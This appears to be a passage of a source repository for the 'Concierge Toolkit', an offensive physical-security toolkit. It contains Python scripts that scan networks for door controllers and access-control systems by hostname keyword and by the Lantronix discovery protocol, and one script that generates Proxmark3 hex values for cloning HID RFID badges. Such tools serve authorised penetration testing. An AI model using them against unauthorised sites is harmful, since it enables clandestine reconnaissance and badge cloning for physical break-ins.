lxml==4.2.1 5 | netaddr==0.7.19 6 | py==1.5.3 7 | pyshark==0.3.7.11 8 | python-libnmap==0.7.0 9 | trollius==1.0.4 10 | -------------------------------------------------------------------------------- /utils/README.md: -------------------------------------------------------------------------------- 1 | # Concierge: Utilities 2 | Miscellaneous scripts for stuff 3 | 4 | ## rfid-card-gen.py 5 | This script takes a facility code and card number and outputs proxmark3 hex values for HID 26 bit, HID Corp 35 bit (with facility code), and/or HID 37 bit badges. 6 | **Usage:** `./hid-cardgen.py -b 26 -fc 111 -cn 2222` 7 | * The -b (--bitlen) switch is optional. If it is not set, the script will generate hex values for all bit lengths. 8 | * The script also ensures that facility codes and card numbers are with the acceptable ranges for each bit length. 9 | 10 | ## hostname-discovery.py 11 | This script uses DNS lookups and compares hostnames against keyword to help identify systems and devices potentially associated with physical access controls. Likely to contain lots of false positives, but it's a place to start. Initial testing shows that it takes rougly 4-6 minutes for a /16. See `keywords = []` section for current keywords. Requires python-nmap: `pip install python-libnmap` 12 | **Usage:** `./hostname-discovery.py -r 10.0.0.0/16 -k phys,badge,access -d ns01.target.tld` 13 | * -r, --rhosts, required. Target ip(s) in nmap format 14 | * -d, --dns, optional. DNS server to use. Default uses system's DNS. 15 | * -k, --keywords, optional. Additonal keywords to search for beyond default. Comma separated, no whitespace. 16 | * -f, --file, optional. Nmap XML file to parse instead of scanning. 17 | 18 | ## lantronix-discover.py 19 | This script uses Lantronix's proprietary discovery protocol to identify devices with Lantronix modules. Lots of different devices use Lantronix modules, including door controllers. More work needs to be done to parse the response, currently only parses out MAC address. 20 | **Usage:** `./lantronix-discover.py -r 10.0.0.0/24` 21 | * -r, --rhosts, required. Target ip(s) in cidr. 22 | -------------------------------------------------------------------------------- /utils/hostname-discovery.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This script is part of the Concierge Toolkit 3 | # https://github.com/lixmk/Concierge 4 | # 5 | # This script attempts to identify potentially interesting 6 | # targets based on keywords in their hostnames. It can scan 7 | # both supplied network ranges or take in hosts from a supplied 8 | # nmap xml file. 9 | 10 | import argparse 11 | import os 12 | import sys 13 | import logging 14 | import csv 15 | from collections import Counter 16 | from libnmap.process import NmapProcess 17 | from libnmap.parser import NmapParser 18 | 19 | logger = logging.getLogger() 20 | 21 | def scan_ranges(ranges, dns=None): 22 | ''' 23 | Performs a list scan on the provided ranges and returns an NmapReport object 24 | ''' 25 | if dns is None: 26 | dns = "-sL -R" 27 | else: 28 | dns = "-sL -R --dns-server " + dns 29 | logger.info('DNS Value for scan_ranges: ' + str(dns)) 30 | logger.info('Provided Ranges for scan_ranges: ' + str(ranges)) 31 | print("Starting nmap scan against: " + ranges) 32 | nm = NmapProcess(ranges, options=dns) 33 | rc = nm.run() 34 | # use the nmap parser to return an object containing all the hosts 35 | parsed = NmapParser.parse(nm.stdout) 36 | logger.info('Returning {} hosts from scan_ranges'.format(len(parsed.hosts))) 37 | return parsed 38 | 39 | def read_hosts_from_file(nmapxmlfile): 40 | ''' 41 | Reads from a provided nmap XML file and returns an NmapReport object 42 | ''' 43 | logger.info('Reading hosts from file: ' + str(nmapxmlfile)) 44 | return NmapParser.parse_fromfile(nmapxmlfile) 45 | 46 | def parse_hosts(nmapobject, custom_keywords=None): 47 | keywords = { 48 | 'generic': ["phys","pacs","pac","badge","access","door","controller","entry","exit","entrance"], 49 | 'amag': ["amag","en1dbc","en2dbc","m2150","symmetry","sms"], 50 | 'hid': ["hid","vertx","edge","evo","v1000","v2000","v2-v1000","v2-v2000","e400","eh400","es400","ehs400"], 51 | 'mercury': ["mercury","ep1501","ep1502","ep-1501","ep-1502"], 52 | 'lenel': ["lenel","lnl","2201","2202"], 53 | 'honeywell': ["honeywell","pro3200","winpak","netaxs"], 54 | 'axis': ["axis","A1001"], 55 | 'custom': [], 56 | } 57 | # Add any custom keywords provided 58 | if custom_keywords is not None: 59 | keywords['custom'].extend(custom_keywords) 60 | logger.info("Added custom keywords: " + str(keywords['custom'])) 61 | # Check the hostnames provided for the keywords 62 | matches = [] 63 | for category in keywords: 64 | for keyword in keywords[category]: 65 | for host in nmapobject.hosts: 66 | for hostname in host.hostnames: #handles multiple hostnames per IP 67 | if keyword in hostname: 68 | matched_host = [category, keyword, hostname, host.ipv4] 69 | report_writer(matched_host) 70 | logger.info('Wrote {} to the outputfile'.format(matched_host)) 71 | matches.append(matched_host) 72 | return matches 73 | 74 | def match_summary(matchlist): 75 | # Outputs a summary of matches 76 | print "################################################" 77 | print "# Concierge Toolkit #" 78 | print "# #" 79 | print "# Hostname-based Phys Access Control Discovery #" 80 | print "################################################" 81 | print "" 82 | print "[*] Results" 83 | if len(matchlist) == 0: 84 | print("No Matches on any categories") 85 | else: 86 | # Since we have some matches, output the summary header 87 | print " |------------------------|" 88 | print " | # Matches | Category |" 89 | print " |-----------|------------|" 90 | # Now output a count for every category 91 | category_count = Counter(tuple([category[0] for category in matchlist])) 92 | for category in category_count.keys(): 93 | count = category_count[category] 94 | print " |"+str(count).rjust(10)+" | "+category.ljust(11)+"|" 95 | # Output the footer, after the counts 96 | print " |------------------------|" 97 | print "" 98 | print"[*] Parsing complete. Results written to csv in current directory" 99 | 100 | def report_writer(datalist, filename='hostname-discovery-results.csv'): 101 | logger.info('Running report_writer with data: ' + str(datalist)) 102 | with open(filename, 'a+') as output_file: 103 | output_file.seek(0) # we need to count lines from the start of file 104 | csvwriter = csv.writer(output_file, delimiter=',') 105 | # if file is empty, add a csv header line at the top 106 | if len(output_file.readlines()) == 0: 107 | csvheaders = ["Category","Keyword","Hostname","IP Address"] 108 | csvwriter.writerow(csvheaders) 109 | # then add data as rows 110 | csvwriter.writerow(datalist) 111 | 112 | def main(): 113 | """Main Execution""" 114 | parser = argparse.ArgumentParser( 115 | description='Scans provided ranges for interesting hostnames', 116 | epilog="Example: \n\t %s -r 10.0.0.0/16"%sys.argv[0]) 117 | 118 | parser.add_argument( 119 | '-r','--rhosts', 120 | dest='rhosts', 121 | help='Range to scan (10.0.0.0/24)', 122 | ) 123 | 124 | parser.add_argument( 125 | '-d','--dns', 126 | dest='dns', 127 | help='IP address for custom DNS. Default is system DNS', 128 | ) 129 | 130 | parser.add_argument( 131 | '-f','--file', 132 | dest='file', 133 | help='Nmap XML file to parse instead of scanning', 134 | ) 135 | 136 | parser.add_argument( 137 | '-k','--keywords', 138 | dest='keywords', 139 | help='Custom keywords to include. Comma delimited', 140 | ) 141 | 142 | parser.add_argument( 143 | '-v', '--verbose', 144 | help="Verbose output", 145 | action="store_const", 146 | dest="loglevel", 147 | const=logging.INFO, 148 | ) 149 | 150 | args = parser.parse_args() 151 | 152 | 153 | #setup logging functions. Default is WARNING, but can set for INFO (--verbose) 154 | logger = logging.basicConfig(level=args.loglevel) 155 | 156 | if args.keywords: args.keywords = args.keywords.split(',') 157 | 158 | if args.rhosts: 159 | # Scan the provided rhosts and output the report 160 | hosts = scan_ranges(args.rhosts, args.dns) 161 | match_summary(parse_hosts(hosts, custom_keywords=args.keywords)) 162 | # print("{} hosts returned".format(len(hosts.hosts))) 163 | exit() 164 | elif args.file: 165 | # Read the hosts fro mthe file and output the report 166 | hosts = read_hosts_from_file(args.file) 167 | # print("{} hosts returned".format(len(hosts.hosts))) 168 | match_summary(parse_hosts(hosts, custom_keywords=args.keywords)) 169 | exit() 170 | else: 171 | print("You must supply either -r or -f") 172 | exit(1) 173 | #exit because they must supply either rhosts or an nmap file 174 | 175 | if __name__ == '__main__': 176 | sys.exit(main()) 177 | -------------------------------------------------------------------------------- /utils/lantronix-discover.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # By Mike Kelly 3 | # exfil.co 4 | # @lixmk 5 | # 6 | # This script is part of the Concierge Toolkit 7 | # https://github.com/lixmk/Concierge 8 | # 9 | 10 | import socket 11 | import argparse 12 | import netaddr 13 | import re 14 | import sys 15 | from time import sleep 16 | from os import path 17 | from os import geteuid 18 | 19 | # Discover PACGDX 512IP Door Controllers 20 | def lantronix_discover_udp(): 21 | s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 22 | s.setblocking(0) 23 | pkt0 = '000000f6'.decode('hex') 24 | s.sendto(pkt0, (str(ip), 30718)) 25 | s.settimeout(.5) 26 | rsp = s.recv(1024) 27 | if "000000f7" in rsp.encode('hex')[:8]: 28 | #mac = rsp.encode('hex')[50:] 29 | mac = ':'.join(rsp.encode('hex')[50:][i:i+2] for i in range(0, len(rsp.encode('hex')[50:]), 2)) 30 | print "[+] Lantronix module discovered" 31 | print "[+] IP Addr: "+str(ip) 32 | print "[+] MAC Addr: "+mac 33 | with open("lantronix-details.csv","a+")as f: 34 | f.write(str(ip)+","+mac+"\n") 35 | s.close 36 | 37 | if __name__ == '__main__': 38 | parser = argparse.ArgumentParser(usage='./lantronix-discover.py -r 10.0.0.1/24 -v') 39 | parser.add_argument('-r', '--rhosts', required=True, help='Target CIDR Range') 40 | args = parser.parse_args() 41 | rhosts = args.rhosts 42 | print "###############################################" 43 | print "# Concierge Toolkit #" 44 | print "# #" 45 | print "# Lantronix Serial to TCP/IP Module Discovery #" 46 | print "###############################################" 47 | print "" 48 | try: 49 | if not geteuid() == 0: 50 | print "[!] This script must be run with root privileges." 51 | sys.exit() 52 | print "[*] Starting door controller discovery." 53 | if path.isfile("lantronix-details.csv") == 0: 54 | with open("lantronix-details.csv","a+")as f: 55 | f.write("rhost,mac addr\n") 56 | for ip in netaddr.IPNetwork(rhosts).iter_hosts(): 57 | lantronix_discover_udp() 58 | except (KeyboardInterrupt, SystemExit)as e: 59 | print "" 60 | print "Keyboard Interrupt: Stopping all processes" 61 | sys.exit() 62 | except (socket.timeout, socket.error): 63 | pass 64 | except (IndexError): 65 | pass 66 | print "[*] Lantronix module discovery of "+rhosts+" complete." 67 | -------------------------------------------------------------------------------- /utils/rfid-card-gen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # By Mike Kelly 3 | # exfil.co 4 | # @lixmk 5 | # 6 | # This script is part of the Concierge Toolkit 7 | # https://github.com/lixmk/Concierge 8 | # 9 | # Takes Facility Code and Card number to generate proxmark3 hex values for card cloning 10 | # Currently capable of generating generic 26 bit, 35 bit HID Corp, and 37 bit HID (with facility code) formats 11 | # 12 | 13 | import argparse 14 | 15 | def bl26(fc, cn): 16 | global pmhex 17 | # 44 bit header 18 | header = "000000100000000001" 19 | # checking input sanity 20 | if int(fc) > 255: 21 | print "[!] Facility code too high for 26 bit HID card." 22 | elif int(cn) > 65535: 23 | print "[!] Card number too high for 26 bit HID card." 24 | else: 25 | # generating output 26 | bfc = bin(int(fc))[2:].zfill(8) 27 | bcn = bin(int(cn))[2:].zfill(16) 28 | bits = bfc+bcn 29 | # even parity calc 30 | epf = bits[:12] 31 | if int(str(epf).count('1')) % 2 == 0: 32 | epb = "0" 33 | else: 34 | epb = "1" 35 | # odd parity calc 36 | opf = bits[12:] 37 | if int(str(opf).count('1')) % 2 == 0: 38 | opb = "1" 39 | else: 40 | opb = "0" 41 | # outputing 42 | bcard = header+epb+bfc+bcn+opb 43 | pmhex = hex(int(bcard, 2))[2:].zfill(10) 44 | print "[+] 26 bit card hex: "+pmhex 45 | 46 | def bl35(fc, cn): 47 | global pmhex 48 | # 44 bit header 49 | header = "000000101" 50 | # checking input sanity 51 | if int(fc) > 4095: 52 | print "[!] Facility code too high for 35 bit HID card." 53 | elif int(cn) > 1048575: 54 | print "[!] Card number too high for 35 bit HID card." 55 | else: 56 | # generating output 57 | bfc = bin(int(fc))[2:].zfill(12) 58 | bcn = bin(int(cn))[2:].zfill(20) 59 | bits = list(bfc+bcn) 60 | # first parity calc (even) 61 | pf1 = bits[0]+bits[1]+bits[3]+bits[4]+bits[6]+bits[7]+bits[9]+bits[10]+bits[12]+bits[13]+bits[15]+bits[16]+bits[18]+bits[19]+bits[21]+bits[22]+bits[24]+bits[25]+bits[27]+bits[28]+bits[30]+bits[31] 62 | if int(str(pf1).count('1')) % 2 == 0: 63 | pb1 = "0" 64 | else: 65 | pb1 = "1" 66 | bits = list(pb1+bfc+bcn) 67 | # second parity calc (odd) 68 | pf2 = bits[0]+bits[1]+bits[3]+bits[4]+bits[6]+bits[7]+bits[9]+bits[10]+bits[12]+bits[13]+bits[15]+bits[16]+bits[18]+bits[19]+bits[21]+bits[22]+bits[24]+bits[25]+bits[27]+bits[28]+bits[30]+bits[31] 69 | if int(str(pf2).count('1')) % 2 == 0: 70 | pb2 = "1" 71 | else: 72 | pb2 = "0" 73 | bits = pb1+bfc+bcn+pb2 74 | # third parity calc (odd) 75 | if int(str(bits).count('1')) % 2 == 0: 76 | pb3 = "1" 77 | else: 78 | pb3 = "0" 79 | # outputing 80 | bcard = header+pb3+pb1+bfc+bcn+pb2 81 | pmhex = hex(int(bcard, 2))[2:].zfill(10) 82 | print "[+] 35 bit card hex: "+pmhex 83 | 84 | def bl37(fc, cn): 85 | global pmhex 86 | # checking input sanity 87 | if int(fc) > 65535: 88 | print "[!] Facility code too high for 37 bit HID card." 89 | elif int(cn) > 524287: 90 | print "[!] Card number too high for 37 bit HID card." 91 | else: 92 | bfc = bin(int(fc))[2:].zfill(16) 93 | bcn = bin(int(cn))[2:].zfill(19) 94 | cardbits = bfc+bcn 95 | # even parity calc 96 | epf = cardbits[:18] 97 | if int(str(epf).count('1')) % 2 == 0: 98 | epb = "0" 99 | else: 100 | epb = "1" 101 | # odd parity calc 102 | opf = cardbits[17:] 103 | if int(str(opf).count('1')) % 2 == 0: 104 | opb = "1" 105 | else: 106 | opb = "0" 107 | # outputing 108 | bcard = epb+bfc+bcn+opb 109 | pmhex = hex(int(bcard, 2))[2:].zfill(10) 110 | print "[+] 37 bit card hex: "+pmhex 111 | 112 | if __name__ == '__main__': 113 | parser = argparse.ArgumentParser(usage='./hid-cardgen.py -b 26 -fc 111 -cn 2222') 114 | parser.add_argument('-b', '--bitlen', help='Target output bit length of card. (26, 35, or 37)') 115 | parser.add_argument('-fc', '--fc', required=True, help='Facility code of card') 116 | parser.add_argument('-cn', '--cn', required=True, help='Card number of card') 117 | args = parser.parse_args() 118 | bitlen = args.bitlen 119 | fc = args.fc 120 | cn = args.cn 121 | print "" 122 | print "#############################################" 123 | print "# Concierge Toolkit #" 124 | print "# #" 125 | print "# RFID Badge Hex Generator for Proxmark 3 #" 126 | print "#############################################" 127 | print "" 128 | # only 26 bit 129 | if bitlen == "26": 130 | print "[*] Generating 26 bit card hex for FC: "+fc+" and CN: "+cn 131 | print "" 132 | bl26(fc, cn) 133 | 134 | # only 35 bit 135 | elif bitlen == "35": 136 | print "[*] Generating 35 bit card hex for FC: "+fc+" and CN: "+cn 137 | print "" 138 | bl35(fc, cn) 139 | 140 | # only 37 bit 141 | elif bitlen == "37": 142 | print "[*] Generating 37 bit card hex for FC: "+fc+" and CN: "+cn 143 | print "" 144 | bl37(fc, cn) 145 | 146 | # all 147 | else: 148 | print "[*] Generating hex values for FC: "+fc+" and CN: "+cn 149 | print "" 150 | bl26(fc, cn) 151 | bl35(fc, cn) 152 | bl37(fc, cn) 153 | --------------------------------------------------------------------------------